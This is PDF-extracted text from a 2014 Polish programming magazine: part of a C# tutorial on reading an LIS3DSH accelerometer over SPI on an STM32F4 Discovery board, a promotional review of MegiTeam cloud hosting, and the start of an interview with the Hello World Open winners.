Accelerometer

 _instance = 

null

;

private

 

static

 

object

 _lockObject = 

new

 

object

();

private

 

SPI

 _accelerometerPort;

private

 Accelerometer()

{

SPI

.

Configuration

 SpiConfiguration = 

new

SPI

.

Configuration

(

DiscoveryCpuPins

.Accelerometer,

false

, 0, 0, 

true

true

, 100, 

SPI

.

SPI_module

.SPI1);

_accelerometerPort = 

new

 

SPI

(SpiConfiguration);

}

public

 

static

 

Accelerometer

 Instance

{

get

{

if

 (_instance == 

null

)

{

lock

 (_lockObject)

{

if

 (_instance == 

null

)

{

_instance = 

new

 

Accelerometer

();

}

}

}

return

 _instance;

}

}

private

 

void

 WriteToRegister(

byte

 address, 

byte

 value)

{

byte

[] buffer = { address, value };

_accelerometerPort.Write(buffer);

}

private

 

byte

 ReadFromRegister(

byte

 address)

{

const

 

byte

 readWriteCmd = 0x80;

byte

[] buffer = { (

byte

)(address | readWriteCmd) };

byte

[] value = { 0, 0 };

_accelerometerPort.WriteRead(buffer, value);

return

 value[1];

}

}

}

Kilka aspektów wykorzystanych w poleceniach z Listingu 10 wymaga dodat-
kowego komentarza. Przede wszystkim konfigurację magistrali SPI zrealizo-
waliśmy za pomocą klasy z przestrzeni nazw. Jej konstruktor przyjmuje osiem 
argumentów. Pozwalają one zdefiniować następujące parametry:

background image

55

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

 

» Port GPIO mikrokontrolera, do którego podłączony jest akcelerometr 

– 

ChipSelect_Port. 

 

» Stan portu podczas komunikacji z mikrokontrolerem 

– 

ChipSelect_ActivePort.

 

» Czas (w mikrosekundach) konfiguracji wybranego portu GPIO mikrokon-

trolera – 

ChipSelect_SetupTime.

 

» Czas martwy (w mikrosekundach) wybranego portu GPIO mikrokontrole-

ra – 

ChipSelect_HoldTime. Parametr ten określa czas, przez który port 

pozostanie w stanie aktywnym po zakończeniu operacji odczytu/zapisu z/
do urządzenia peryferyjnego SPI.

 

» Rodzaj stanu bezczynności – Clock_IdleState. W przypadku, gdy war-

tość tego parametru to 

true, zegar próbkujący będzie w stanie aktywnym 

(wysokim) podczas braku aktywności (komunikacji) ze strony urządzenia 
peryferyjnego. W przeciwnym wypadku zegar będzie w stanie niskim (low). 

 

» Rodzaj zbocza zegara próbkującego – Clock_Edge. Parametr ten pozwa-

la określić rodzaj zbocza sygnału, na którym będą próbkowane dane prze-
syłanych komunikatów. Wartość 

true

 

oznacza, że dane są próbkowane 

na zboczu rosnącym, a 

false, że na zboczu opadającym.

 

» Częstotliwość zegara taktującego (w kilohercach) – Clock_RateKHz.

 

» Magistrala SPI wykorzystywana do komunikacji – SPI_mod.

Kolejne istotne elementy klasy 

Accelerometer

 

to metody 

WriteToReg-

ister

 

oraz 

ReadFromRegister. Służą one do zapisywania i odczytywania 

danych ze wskazanych rejestrów. Do tego celu wykorzystują metody 

Write

 

WriteRead. Pierwsza umożliwia wysłanie tablicy danych do wybranego 

urządzenia peryferyjnego za pomocą danej magistrali SPI. Natomiast druga 
wysyła zapytanie i zwraca otrzymaną odpowiedź.

W przypadku komunikacji z akcelerometrem wysyłamy do niego tablice dwu-

bajtową, w której bardziej znaczący bajt zawiera adres rejestru, a mniej znaczący 
wartość, która ma być w nim zapisana. Natomiast w przypadku odczytu wartości 
ze wskazanego rejestru jego adres jest łączony ze stałą 0x80 za pomocą operatora 
bitowej alternatywy. Umożliwia to poinformowanie akcelerometru, że dana ko-
menda jest żądaniem odczytu wartości spod wskazanego adresu.

Jak już wspomnieliśmy, w celu przełączenia akcelerometru w normalny tryb 

pracy konieczne jest zapisanie odpowiedniej wartości w danym rejestrze. Zgodnie 
z dokumentacją akcelerometru (

http://www.st.com/web/en/resource/technical/

document/datasheet/DM00040962.pdf

) jest to rejestr o nazwie 

CTRL_REG4, a jego 

adres to 0x20.

Ten rejestr kontrolny przechowuje jeden bajt, w którym cztery najbardziej zna-

czące bity (bity b7 – b4) służą do ustalenia częstotliwości pomiarów przyspieszenia 
(ang. Output Data Rate /ODR/). Kolejny bit (b3), BDU (od ang. Block Data Update), 
pozwala zdefiniować tryb aktualizacji wartości w rejestrach wyjściowych, przecho-
wujących wyniki pomiarów dla poszczególnych osi. Wartość 1 bitu b3 oznacza 
ciągłą aktualizację rejestrów, a 0 blokującą aktualizację rejestrów wyjściowych, w 
którym odczyt jest blokowany do momentu aktualizacji obu rejestrów związanych 
z daną osią. Ta druga ma duże znaczenie w przypadku wykonywania częstych 
odczytów rejestrów wyjściowych. Wynika to z faktu, że w akcelerometrze LIS3DH 
wyniki pomiarów przyspieszeń reprezentowane są w postaci liczb dwubajtowych. 
Blokująca aktualizacja rejestrów wyjściowych zapewnia, że poprawnie odczytywa-
ne są oba bajty. Innymi słowy – oba z nich dotyczą tego samego pomiaru.

Trzy najmniej znaczące bity (b2-b0) bajtu zapisanego w rejestrze kontrolnym 

o numerze 4 (

CTRL_REG4) służą do wskazania osi, wzdłuż których będą reali-

zowane pomiary przyspieszenia. Bit b2 odpowiada osi Z, bit b1 osi Y, a b0 osi X.

Uzupełnimy teraz kod źródłowy aplikacji MFDiscovery o procedury umoż-

liwiające skonfigurowanie akcelerometru. W tym celu:

 

» Dodajemy do projektu nowy plik AccelerometerRegisterAddresses.cs i uzu-

pełniamy go według wzoru z Listingu 11.

Listing 11. Adresy rejestrów akcelerometru wykorzystywane w artykule

using

 System;

using

 Microsoft.SPOT;

namespace

 MFDiscovery

{

public

 

static

 

class

 

AccelerometerRegisterAddresses

{

public

 

static

 

byte

 WhoAmI = 0x0F;

public

 

static

 

byte

 Control4 = 0x20;

public

 

static

 

byte

 Control5 = 0x24;

public

 

static

 

byte

 LsbX = 0x28;

public

 

static

 

byte

 MsbX = 0x29;

public

 

static

 

byte

 LsbY = 0x2A;

public

 

static

 

byte

 MsbY = 0x2B;

public

 

static

 

byte

 LsbZ = 0x2C;

public

 

static

 

byte

 MsbZ = 0x2D;

}

}

 

» W pliku Enums.cs wstawmy polecenia z Listingu 12.

Listing 12. Definicja typów wyliczeniowych określających częstotli-
wość pomiarów przyspieszenia (

OutputDataRate) oraz osi akcelero-

metru (

Axis)

public

 

enum

 

OutputDataRate

 : 

byte

{

PowerOff = 0,

Freq_3_125_Hz,

Freq_6_25_Hz,

Freq_12_5_Hz,

Freq_25_Hz,

Freq_50_Hz,

Freq_100_Hz,

Freq_400_Hz,

Freq_800_Hz,

Freq_1600_Hz

}

public

 

enum

 

Axis

 : 

byte

{

X = 0,

Y,

Z

}

 

» Klasę uzupełnimy o metody z Listingu 13.

Listing 13. Konfiguracja częstości pomiaru przyspieszenia wzdłuż 
wybranych osi. Dodatkowa metoda 

BoolToByte służy do konwersji 

wartości logicznej typu 

bool na wartość typu byte

public

 

void

 ConfigureOutputData(

OutputDataRate

 outputDataRate,

bool

 blockDataUpdate, 

bool

 xAxisEnabled,

bool

 yAxisEnabled, 

bool

 zAxisEnabled)

{

byte

 configurationByte = (

byte

)((

byte

)outputDataRate << 4);

configurationByte = (

byte

)(configurationByte

| BoolToByte(blockDataUpdate) << 3

| BoolToByte(zAxisEnabled) << 2

| BoolToByte(yAxisEnabled) << 1

| BoolToByte(xAxisEnabled));

WriteToRegister(

AccelerometerRegisterAddresses

.Control4,

configurationByte);

}

private

 

byte

 BoolToByte(

bool

 value)

{

return

 (

byte

)(value == 

true

 ? 1 : 0);

}

W zupełnie analogiczny sposób konfiguruje się zakres pracy akcelerometru. 
Na potrzeby implementacji tej funkcjonalności uzupełnijmy najpierw plik 
Enums.cs o definicję typu wyliczeniowego 

Scale

 

(Listing 14), a następnie w 

klasie 

Accelerometer

 

zdefiniujmy metodę 

ConfigureScale

 

(Listing 15).

Listing 14. Definicja typu wyliczeniowego 

Scale, reprezentującego 

zakresy pomiaru przyspieszenia

public

 

enum

 

Scale

 : 

byte

{

g2 = 0,

g4,

g6,

g8,

g16

}

background image

56

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

Listing 15. Konfiguracja zakresu pomiaru przyspieszenia

public

 

void

 ConfigureScale(

Scale

 scale)

{

byte

 newValue = (

byte

)((

byte

)scale << 3);

WriteToRegister(

AccelerometerRegisterAddresses

.Control5, newValue);

}

W celu konfiguracji zakresu pomiaru przyspieszenia wykorzystaliśmy rejestr 
kontrolny o numerze 5 (

CTRL_REG5). Bity b5-b3 bajtu przechowywanego w 

tym rejestrze reprezentują wybrany zakres pomiaru przyspieszenia, określo-
ny wartościami typu wyliczeniowego 

Scale. Mianowicie, wartość Scale.g2 

odpowiada zakresowi ±2g, wartość 

Scale.g4 zakresowi ±4g itd. 

W ramach podsumowania tego podrozdziału zaimplementujemy jeszcze 

metodę ustawiającą domyślne parametry pracy akcelerometru (częstotliwość 
odczytu 100 kHz, wyłączony tryb BDU, odczyt ze wszystkich osi oraz zakres 
±2g), a także procedurę weryfikującą poprawność wartości odczytanej z reje-
stru akcelerometru. Obie z nich przedstawia Listing 16.

W dalszej części artykułu odczytanie wartości zapisanej w rejestrze 

WHO_AM_I  pozwoli nam sprawdzić, czy komunikacja z akcelerometrem zo-
stała nawiązana prawidłowo. Jeśli wartość odczytana z tego rejestru będzie 
różna od 0x3F, to będzie to oznaczało brak komunikacji z akcelerometrem. 

Listing 16. Domyślna konfiguracja akcelerometru oraz odczyt war-
tości z rejestru WHO_AM_I

public

 

void

 DefaultConfiguration()

{

ConfigureOutputData(

OutputDataRate

.Freq_100_Hz, 

false

true

true

true

);

ConfigureScale(

Scale

.g2);

}

public

 

bool

 WhoAmI()

{

bool

 isCommandCorrect = 

false

;

const

 

byte

 expectedAnswer = 0x3F;

byte

 answer = ReadFromRegister(

AccelerometerRegisterAddresses

.WhoAmI);

if

 (answer == expectedAnswer)

{

isCommandCorrect = 

true

;

}

return

 isCommandCorrect;

}

Detekcja i sygnalizowanie położenia

W tym podrozdziale na podstawie wartości przyspieszenia wzdłuż osi X oraz 
Y odczytanych z akcelerometru zasygnalizujemy zwrot płytki za pomocą diod 
LD3-LD6. Jednak zanim przejdziemy do implementacji tego zadania, omówi-
my sposób reprezentacji wartości przyspieszenia w rejestrach akcelerometru.

Akcelerometr LIS3DSH zwraca wyniki pomiarów przyspieszenia wzdłuż 

osi poszczególnych osi w jednostkach mg w postaci dwubajtowych liczb 
całkowitych. W konsekwencji wartości pomiaru mogą przyjmować wartości 
z przedziału od -32767 do 32768. Jednakże dokładność pomiaru (rozdziel-
czość) oraz konkretne wartości przyspieszenia zależeć będą od ustalonego 
wcześniej zakresu pomiaru w jednostkach g. W naszym przykładzie domyśl-
na konfiguracja akcelerometru przewiduje pomiary w zakresie ±2g. W takim 
przypadku wartości -2g odpowiadać będzie liczba -32767, a +2g liczba 32768. 
Wynika stąd, że zwiększenie zakresu pomiaru do ±4g spowoduje dwukrotne 
pogorszenie jego rozdzielczości, ponieważ rozdzielczość jest tu nierozerwal-
nie związana z zakresem pomiaru.

W tym konkretnym przykładzie zakładamy, że zmiana mierzonego przy-

spieszenia będzie związana ze stosunkowo wolną zmianą położenia płytki 
STM32F4 Discovery w przestrzeni i w związku z tym zakres mierzonych przy-
spieszeń nie przekroczy wartości z przedziału ±1g, co w przybliżeniu odpo-
wiadać będzie liczbom całkowitym z zakresu od -16384 do 16384. Piszemy „w 

przybliżeniu”, ponieważ odczyty przyspieszenia obarczone są błędem pomia-
ru oraz mogą zależeć od szerokości geograficznej, która wpływa na wartości 
przyspieszenia ziemskiego g.

Akcelerometr przechowuje wyniki pomiarów wzdłuż jego poszczegól-

nych osi w rejestrach o następujących adresach: 

 

» Oś X: LSB – 0x28, MSB – 0x29.

 

» Oś Y: LSB – 0x2A, MSB – 0x2B.

 

» Oś Z: LSB – 0x2C, MSB – 0x2D.

W powyższej liście adresów skrót LSB oznacza bajt najmniej znaczący (od ang. 
Least Significat Byte). Natomiast MSB reprezentuje bajt najbardziej znaczący 
(MSB, od ang. Most Significant Byte). 

W związku z tym po odczytaniu wartości typu byte zapisanych w poszcze-

gólnych rejestrach dla danej osi należy je połączyć w jedną wartość typu 
short (Int16).

Oto poszczególne etapy implementacji odczytu oraz interpretacji warto-

ści przyspieszenia w projekcie aplikacji (firmware) MFDiscovery:

 

» W klasie Discovery

 

zdefiniujmy metody z Listingu 17.

Listing 17. Odczyt zmierzonych wartości przyspieszenia w wybra-
nym kierunku

public

 

short

 GetAcceleration(

Axis

 axis)

{

byte

 lsbAddress = 0,

msbAdddress = 0;

switch

 (axis)

{

case

 

Axis

.X:

lsbAddress = 

AccelerometerRegisterAddresses

.LsbX;

msbAdddress = 

AccelerometerRegisterAddresses

.MsbX;

break

;

case

 

Axis

.Y:

lsbAddress = 

AccelerometerRegisterAddresses

.LsbY;

msbAdddress = 

AccelerometerRegisterAddresses

.MsbY;

break

;

case

 

Axis

.Z:

lsbAddress = 

AccelerometerRegisterAddresses

.LsbZ;

msbAdddress = 

AccelerometerRegisterAddresses

.MsbZ;

break

;

}

byte

 lsb = ReadFromRegister(lsbAddress);

byte

 msb = ReadFromRegister(msbAdddress);

return

 BytesToShort(lsb, msb);

}

private

 

short

 BytesToShort(

byte

 lsb, 

byte

 msb)

{

return

 (

short

)(lsb + (msb << 8));

}

 

» Przejdźmy do edycji pliku Discovery.cs.

 

» Klasę uzupełnijmy o pole

private

 

Accelerometer

 _accelerometer = 

null

;

 

» Konstruktor klasy Discovery

 

zmodyfikujmy według wzoru z Listingu 18.

Listing 18. Konstruktor klasy Discovery

private

 Discovery()

{

_leds = 

Leds

.Instance;

_userButton = 

new

 

InterruptPort

(

DiscoveryCpuPins

.UserButton, 

true

Port

.

ResistorMode

.PullDown, 

Port

.

InterruptMode

.InterruptEdgeHigh);

_accelerometer = 

Accelerometer

.Instance;

 

_accelerometer.DefaultConfiguration(); 

}

 

» Definicję klasy Discovery

 

uzupełnijmy o polecenia przedstawione na 

Listingu 19.

background image

57

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

Listing 19. Zwrot płytki w przestrzeni jest sygnalizowany za pomo-
cą diod LD3-LD6

public

 

Accelerometer

 Accelerometer

{

get

 { 

return

 _accelerometer; }

}

public

 

void

 DetectAndSignalPosition()

{

if

 (_accelerometer.WhoAmI())

{

const

 

short

 threshold = 500;

short

 accelerationX = _accelerometer.GetAcceleration(

Axis

.X);

short

 accelerationY = _accelerometer.GetAcceleration(

Axis

.Y);

Leds.TurnOffAll();

if

 (accelerationX < -threshold)

{

Leds.TurnOn(

UserLed

.LD4);

}

else

 

if

 (accelerationX > threshold)

{

Leds.TurnOn(

UserLed

.LD5);

}

if

 (accelerationY < -threshold)

{

Leds.TurnOn(

UserLed

.LD6);

}

else

 

if

 (accelerationY > threshold)

{

Leds.TurnOn(

UserLed

.LD3);

}

}

else

{

Leds.TurnOnAll();

}

}

 

» W pliku Enums.cs uzupełnijmy typ wyliczeniowy WorkingMode

 

o wartość 

wyróżnioną na Listingu 20.

Listing 20. Definicja dodatkowego trybu pracy mikrokontrolera

public

 

enum

 

WorkingMode

{

ToggleLed = 0,

ToggleAllLeds,

LedSweeping,

ToggleLedRandomly,

DetectPosition

,

None

}

 

» W pliku Program.cs zmodyfikujmy definicję metody WorkingModeTh-

readFunction

 

według wzoru z Listingu 21.

Listing 21. Detekcja i sygnalizacja zwrotu płytki

private

 

static

 

void

 WorkingModeThreadFunction()

{

const

 

int

 msDefaultSleepTime = 500;

const

 

int

 msSmallerSleepTime = 100;

while

 (

true

)

{

if

 (!_workingModeChanging)

{

_taskCompletedEvent.Reset();

switch

 (_currentWorkingMode)

{

case

 

WorkingMode

.ToggleLed:

_discovery.Leds.Toggle(

UserLed

.LD3);

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.ToggleAllLeds:

_discovery.Leds.ToggleAll();

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.LedSweeping:

_discovery.Leds.Sweep();

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.ToggleLedRandomly:

_discovery.Leds.ToggleRandomly();

Thread

.Sleep(msSmallerSleepTime);

break

;

case

 

WorkingMode

.DetectPosition:

_discovery.DetectAndSignalPosition();

Thread

.Sleep(msSmallerSleepTime);

break

;

case

 

WorkingMode

.None:

default

:

Thread

.Sleep(msDefaultSleepTime);

break

;

}

_taskCompletedEvent.Set();

}

}

}

Po skompilowaniu i uruchomieniu aplikacji na płytce ewaluacyjnej STM32F4 
Discovery możemy przystąpić do sprawdzenia poprawności detekcji zwrotu 
płytki w przestrzeni. W tym celu wystarczy pięciokrotnie wcisnąć przycisk 
User, aby aktywować tryb pracy mikrokontrolera związany z wartością 

De-

tectPosition typu wyliczeniowego WorkingMode. Zmianie położenia 
płytki będzie wówczas odpowiadała zmiana stanu odpowiednich diod.

Ze względu na to, że odczyt przyspieszenia jest obarczony błędem pomiaru, 

stan diod ulega zmianie w przypadku, gdy wartość odczytanego przyspieszenia 
jest większa od arbitralnie ustalonego progu. W powyższym przykładzie (Listing 
19) próg został ustalony na poziomie 500, co w przybliżeniu odpowiada ok. 3% 
wartości 1g. Czytelnik może dopasować tę wartość według własnych preferencji.

PODSUMOWANIE

W niniejszym artykule przedstawiliśmy przykładowy projekt aplikacji dla ze-
stawu uruchomieniowego STM32F4 Discovery. W ramach implementacji tego 
projektu omówiliśmy stosunkowo proste zagadnienia dotyczące zmiany sta-
nu diod LED oraz bardziej zaawansowane kwestie związane z obsługą komu-
nikacji z urządzeniami peryferyjnymi bazującej na interfejsie SPI. Tę ostatnią 
wykorzystaliśmy do odczytu wartości przyspieszenia mierzonego przez akce-
lerometr LIS3DSH. 

Wszystkie przykłady zostały zaimplementowane w ramach jednej aplika-

cji, a jej użytkownik może przełączać tryby pracy za pomocą przycisku User 
płytki STM32F4 Discovery.

Artykuł powstał przy współpracy z Krzysztofem Dalasińskim

Dawid Borycki

Doktor fizyki. Pracuje w Instytucie Fizyki UMK w Toruniu (obecnie na stażu w University of 
California, Davis). Zajmuje się projektowaniem oraz implementacją algorytmów cyfrowej 
analizy obrazów i sterowania prototypowymi urządzeniami do obrazowania biomedycznego. 
Współautor wielu książek o programowaniu i międzynarodowych zgłoszeń patentowych.

background image

58

/ 6 

. 2014 . (25)  /

Rafał Kocisz

RECENZJA

T

en nieco szalony, jednakże dający 
moc satysfakcji tryb pracy wymu-
sza na nas trochę inne spojrzenie 

na narzędzia, z których korzystamy. Weź-
my chociażby tak fundamentalną rzecz, 
jak repozytorium kodu źródłowego. Konia 
z rzędem temu, kto konfiguruje sobie Git czy 
SVN na własnym serwerze. Alternatywą są 
takie usługi jak Github czy BitBucket, dzięki 
którym konfiguracja i obsługa repozytoriów 
staje się dziecinną fraszką. Dziś trudno wy-
obrazić sobie pracę bez tych oraz szeregu 
innych serwisów, które niemalże z dnia na 
dzień stały się podstawowymi narzędziami 
większości z nas…

W ramach niniejszego artykułu chciałbym 

przedstawić nowoczesny, polski serwis, któ-
ry ostatnio przykuł moją uwagę: MegiTeam. 
Nie ma chyba programisty, który nie natknął 
się na problem hostingu serwera. Pomyśl tyl-
ko, jak piękny byłby świat, gdyby środowisko 
serwerowe dało się skonfigurować w ciągu 
kilkunastu sekund, tak jak tworzy się nowe 
repozytorium na GitHubie… Z MegiTeam to 
marzenie staje się rzeczywistością!

MegiTeam to usługa hostingu nowocze-

snych technologii w chmurze oferująca goto-
we środowiska programistyczne, dzięki któ-
rym możliwe jest szybkie wdrażanie serwisów 
webowych i uruchomienie aplikacji jednym 
kliknięciem. Serwis dedykowany jest przede 
wszystkim dla twórców oprogramowania, 
startupów, agencji interaktywnych oraz przed-
siębiorstw oferujących usługi e-commerce.

MegiTeam – hosting od 

programistów dla programistów

Zastanawiałem się ostatnio, jakie wartości (w sensie zawodowym) są najcenniejsze 
dla nowoczesnego programisty. Odpowiedzi, które w pierwszej kolejności przy-
szły mi do głowy, to: zwinność, elastyczność, dostępność i czas. Każdy niemalże 
programista, którego znam, cierpi na notoryczny brak czasu. A rzeczywistość tech-
nologiczna, która nas otacza, wymusza życie (i pracę) w ciągłym pośpiechu. Nowe 
projekty, nowe technologie, nowa wiedza, nowi ludzie – i tak w kółko: oto mantra 
programisty Anno Domini 2014…

Rysunek 1. Konfiguracja aplikacji Django

Rysunek 2. Konfiguracja serwerów dodatkowych (Redis, Memcached, Celery)

W zakresie technologii, w ramach Megi-

Team do naszej dyspozycji są:

 

» Django,

 

» Ruby on Rails,

 

» Node.js,

 

» PHP.

Od strony bazodanowej serwis ofe-

ruje wiodące rozwiązania NoSQL: Redis 
i MongoDB.

Technologie to tylko jedna strona me-

dalu. MegiTeam daje dużo więcej w ramach 
swoich usług. To, co najbardziej rzuca się 

background image

59

/ www.programistamag.pl /

MEGITEAM – HOSTING OD PROGRAMISTÓW DLA PROGRAMISTÓW

w oczy, to bardzo wygodny i intuicyjny panel 
administracyjny, który na początek szybko 
oraz pewnie przeprowadza użytkownika 
przez proces konfiguracji, a później oferuje 
szeroki wachlarz opcji, dzięki którym zarzą-
dzanie hostowanym środowiskiem staje się 
łatwe i przyjemne.

Duże brawa dla zespołu MegiTeam nale-

żą się za prostotę obsługi; specjaliści UX wy-
konali w tym przypadku kawał dobrej robo-
ty. Aby nie być gołosłownym, na Rysunkach 
1 i 2 pokazane są przykładowe zrzuty ekranu 
z panelu.

Panel MegiTeam to autorskie rozwiązanie, 

dzięki któremu serwis jest w stanie oferować 
zarządzane VPS-y (ang.  Virtual Private Server), 
bez konieczności samodzielnej administracji 
i posiadania specjalistycznej wiedzy w tym 
zakresie. Operacje takie jak dodanie serwisu 
WWW, konta pocztowego czy (S)FTP można 
wykonać z poziomu panelu administracyjne-
go. Jeżeli klient potrzebuje niestandardowej 
konfiguracji, twórcy serwisu oferują pomoc 
ze strony swoich administratorów.

MegiTeam stawia na automatyzację, po-

dobnie jak inni twórcy rozwiązań typu PaaS 
(ang.  Platform as a Service), pozostawiając 
przy tym dostęp do shell'a, co daje mnóstwo 
swobody w instalowaniu dodatkowego opro-
gramowania i gwarantuje dostęp do logów 
(lepsza diagnostyka problemów). Warto w 
tym miejscu podkreślić, że w ramach stan-
dardowej usługi hostingowej oferowanej 
przez MegiTeam dostajemy to, za co w innych 
PaaS'ach trzeba dodatkowo płacić: Postgres, 
Memcached, oraz bazy NoSQL. Co więcej, w 
ramach jednego konta hostingowego można 
zakładać wiele wirtualnych serwisów, któ-
re znajdują się w obrębie tej samej instancji 
chmury, przy czym opłata za nie pozostaje 
stała (jest niezależna od ich liczby).

Autorzy serwisu nie zapomnieli również 

o drobnych, aczkolwiek wysoce użytecznych 
usprawnieniach. Dobrym przykładem tego 
rodzaju udogodnienia jest możliwość reje-
stracji za pośrednictwem istniejącego konta 
w takich serwisach jak Github, Twitter czy 
Facebook (patrz: Rysunek 3). W przypadku 

Rysunek 3. Logowanie do panelu administracyjnego

skorzystania z tej opcji szczegółowe dane 
użytkownika trzeba wypełnić dopiero wtedy, 
gdy potrzebne jest wygenerowanie faktury.

Wielką siłą serwisu MegiTeam oraz warto-

ścią dodaną, która w dużej mierze odróżnia 
tę usługę od oferty konkurencji, jest zwin-
ność i elastyczność. Świetnym zobrazowa-
niem tej właściwości jest scenariusz obsługi 
skoków obciążenia poprzez dynamiczne do-
kładanie zasobów (gdy okażą się niezbędne) 
oraz ich usuwanie (by nie przepłacać, gdy 
przestają być potrzebne). Przykład: określo-
na marka pojawia się w popularnym progra-
mie telewizyjnym, prasie, tudzież reklamuje 
się poprzez znanego blogera. W efekcie tych 
działań na jej stronie powstaje wzmożony 
ruch. Abonamentowy hosting współdzielo-
ny najprawdopodobniej nie udźwignie ta-
kiego obciążenia i goście odwiedzający stro-
nę zobaczą błąd 503. Skalowalne serwery 
w chmurze, które oferuje MegiTeam, pozwa-
lają zwiększyć zasoby do 64 GB RAM i 16 CPU 
w ciągu kilku minut. Co istotne, klient zapłaci 
tylko za czas, kiedy zwiększone zasoby były 
mu potrzebne. W przypadku krótkich kam-
panii marketingowych wymagających stro-
ny internetowej MegiTeam oferuje opcję ho-
stingu na kilka dni czy nawet godzin. Koszt 
takiej usługi to kilka groszy za godzinę. Po 
zakończonej kampanii serwis lub konto 
można samodzielnie usunąć.

W MegiTeam każdy klient posiada wła-

sny serwer z gwarantowanym procesorem 

i pamięcią oraz własne serwery baz danych. 
Serwis daje gwarancję, że obciążenie gene-
rowane przez innych klientów nie spowal-
nia działania jego stron. Takie rozwiązanie 
to również większe bezpieczeństwo. Nawet 
w najbardziej podstawowej opcji możliwe 
jest podpisanie umowy powierzenia prze-
twarzania danych osobowych.

MegiTeam jest również bardzo elastycz-

ny w zakresie płatności, które w tym przy-
padku opierają się na doładowaniu konta. 
Nie ma stałych abonamentów, co oznacza 
brak długoterminowych umów i zobowią-
zań. Jeśli ktoś tęskni za abonamentem z po-
wodu regularnych przypomnień o płatności, 
może włączyć automatyczne doładowania 
(mailowe przypomnienia z załączoną fakturą 
pro-forma przypominające, że już czas doła-
dować konto).

Na koniec trzeba też pochwalić serwis za 

profesjonalny i przyjazny support. Doświad-
czeni admini szybko i konkretnie odpowiadają 
na każde zgłoszenie dotyczące hostingu, po-
magają w optymalizacji i naprawianiu błędów.

Cóż więcej mogę napisać… Hasło mar-

ketingowe MegiTeam: „od zera do Django 
w 30 sekund”, które nie jest bynajmniej 
czczą przechwałką, mówi samo za siebie. Dla 
mnie od dziś MegiTeam jest domyślną opcją 
w zakresie hostingu VPS'ów w chmurze! Ser-
decznie polecam każdemu wypróbowanie 
tego serwisu. Znajdziecie go pod adresem 

http://www.megiteam.pl/

.

background image

60

/ 6 

. 2014 . (25)  /

WYWIAD

H

ello World Open to konkurs programistyczny, podczas którego celem 
uczestników była implementacja sztucznej inteligencji sterującej wir-
tualną wyścigówką, która porusza się po torach wyścigowych o róż-

nym poziomie trudności, przy zmieniających się warunkach pogodowych. 
Do realizacji tego celu organizator udostępnił uczestnikom repozytoria Git ze 
zintegrowanymi systemami ciągłej integracji, kilka serwerów testowych oraz 
specyfikację protokołu, przy pomocy którego z serwerem gry powinien się 
komunikować robot. Drużyny mogły wybierać z całej gamy języków progra-
mowania, takich jak C, C++, Java, C#, Python czy nawet JavaScript.

W finale, który odbył się 10 czerwca w Helsinkach, rywalizowało 8 drużyn 

– po jednej z Polski, Słowacji i Finlandii, dwie z Brazylii i trzy z Rosji. Pośród 
uczestników znaleźli się pracownicy Google (Tomasz Żurkowski z polskiego 
teamu „Need For C” i Luca Mattos Möller z brazylijskiej „Itarama”) oraz Facebo-
oka (Michal Burger ze słowackiej drużyny). Organizatorzy zwrócili szczególną 
uwagę na to, aby poziom trudności zwiększał się z każdą rundą, dzięki czemu 
we wstępnych etapach zawodów wysokie szanse na dobry wynik mają nawet 
początkujący programiści.

–  Programista może wpływać na dwa czynniki. AI może chcieć zwiększyć 

prędkość pojazdu, dodając gazu, lub zmienić pas, jeśli przed nim jest inny zawod-
nik. Dzięki temu podstawy sterowania są bardzo proste, ale jeśli chcesz wygrać – 
to bardzo skomplikowane. Wszystkie samochody mają identyczne „silniki” i opo-
ny. Wynik wyścigu zależy od tego, jak szybko uczestnicy są w stanie pokonywać 
zakręty – na ile są pewni, że mogą pokonać dany zakręt bez ryzyka wypadnięcia 
z toru. Jeśli wyścigówka będzie jechała zbyt szybko, wypadnie poza tor i drużyna 
otrzyma 2 sekundy kary, a to bardzo pogarsza sytuację
. – mówi Ville Valtonen, 
główny organizator zawodów.

Warty zauważenia jest również sam pomysł, od którego wszystko się za-

częło. Konkurs został zaprojektowany tak, aby rywalizacja mogła być obser-
wowana również przez osoby kompletnie nie związane z programowaniem 
czy branżą IT. Analogicznie zresztą jak w przypadku innych sportów – nie trze-
ba być piłkarzem, aby rozumieć ideę rozgrywek piłkarskich i móc kibicować 
swoim faworytom.

Kilka minut przed rozpoczęciem finałów i miażdżącym zwycięstwem pol-

skiej drużyny, pytaliśmy ich o nastroje przed ostateczną rozgrywką.

Magazyn Programista: Jesteśmy na Hello World Open 2014, w klubie Cable 
Factory w Helsinkach. Jak wam się podoba atmosfera na finałach?

Piotr Żurkowski: Jest super. Naprawdę, przygotowanie niesamowite… i sam 
finał też.

MP: Lekki stres przed finałem jest?

Piotr Żurkowski: Jest, ogromny. I nie wierzę, że po nas tego nie widać, jesteśmy 
bardzo zestresowani.

Wojciech Jaśkowski: My generalnie od 2 tygodni ledwo śpimy, maksymalnie 
po 5-6 godzin. Każdego dnia mówimy sobie, że tym razem położymy się wcze-
śniej. Ja dzisiaj zasnąłem o 3:00, podobnie Piotrek i Tomek.

MP: Nazywacie się „Need For C”. Rozumiem, że to jakieś personalne 
zamiłowania?

Piotr Żurkowski: Myśleliśmy o jakiejś fajnej nazwie, oczywiście gra z dzieciń-
stwa – Need For Speed, no i jesteśmy takimi trochę „freakami”, lubimy C++.

MP: Na co dzień pracujecie nad projektami w C, C++?

Tomasz Żurkowski: To zależy, ja na przykład pracuję w Google, przez cały czas 
nad projektami w C++. Czas odpowiedzi się liczy – program musi działać szyb-
ko. Tak naprawdę wszyscy znamy C++, lepiej lub gorzej, dla mnie jest to na 
przykład mój pierwszy język.

Wojciech Jaśkowski: Piotr mówi za siebie, że wszyscy lubimy C++. Ja akurat go 
nie cierpię, ale oni podjęli taką decyzję – na początku tylko oni mieli kodować, 
a ja miałem doradzać, ale potem mnie też jakoś mocniej zaangażowało...

MP: To dość nietypowa konfiguracja drużyny: dwóch braci i ich wykładowca?

Wojciech Jaśkowski: W zeszłym roku mieliśmy zajęcia z Piotrem. Generalnie 
wcześniej znałem się z Tomkiem, jak on zaczynał studiować, to ja kończyłem 
